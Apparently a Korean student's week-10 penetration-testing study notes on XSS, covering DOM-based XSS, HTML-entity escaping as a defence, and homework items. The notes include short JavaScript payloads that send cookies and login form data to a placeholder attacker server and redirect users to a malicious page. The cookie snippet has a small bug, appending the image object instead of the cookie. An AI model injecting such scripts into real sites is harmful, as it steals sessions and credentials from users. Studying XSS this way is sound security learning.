Almon Dev

모의해킹 공부 10주차 (XSS) 본문

웹 해킹/웹 해킹

모의해킹 공부 10주차 (XSS)

Almon 2024. 12. 20. 03:17

10주 차 정리

 

XSS (Cross-site Scripting)

 

 

Dom Based XSS

파라미터를 브라우저에서 조립하는 것을 이용해 스크립트를 실행하는 기법입니다.
=> Reflected와는 다르게 서버 응답에 포함되어 있지 않습니다.
ex) js를 이용한 태그 생성 및 수정

 

 

XSS 활용

xss 취약점이 있을 경우 키로거, 세션 탈취, 악성 페이지로 리다이렉션 등이 있을 수 있습니다.

 

1. 세션 탈취

let cookieData = document.cookie;
let img = new Image();
img.src = '쿠키를 받을 url?cookie=' + img

 

document.cookie를 이용해서 피해자의 쿠키를 cookieData에 저장한 뒤

이미지 태그를 생성해서 src를 설정해 해당 url에 GET 요청을 보내도록 합니다.

url에 해당하는 공격자의 서버에서 get요청을 받으면 cookie 파라미터의 값을 로그에 기록합니다.


2. 키로거

let loginForm = document.querySelector('.loginForm');

loginForm.addEventListener('submit', (e) => {
	e.preventDefault();
    const formData = new FormData(e.target);
    let data = {};
    
    formData.forEach((value, key) => {
        data[key] = value;
    });
    fetch('http://공격자 서버 url', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(data),
    });
})

 

스크립트가 자유롭게 삽입이 가능하다면 이벤트 리스너를 추가할 수 있습니다.

로그인 페이지와 같이 중요한 정보를 탈취당할 수도 있습니다.


3. 리다이렉션

window.location.href = "악성 url";

 

XSS를 이용해 리다이렉트 스크립트를 삽입해서 사용자를 악성 페이지로 이동시킬 수 있습니다.

 

XSS 대응 방법

< ' " > 등 html의 구조에 영향을 미치는 특수문자를 HTML Entity로 치환하기

 

 

과제

1. 수업 내용 정리
2. XSS ctf 문제 보고서 작성
3. XSS 시나리오 연구
4. 웹개발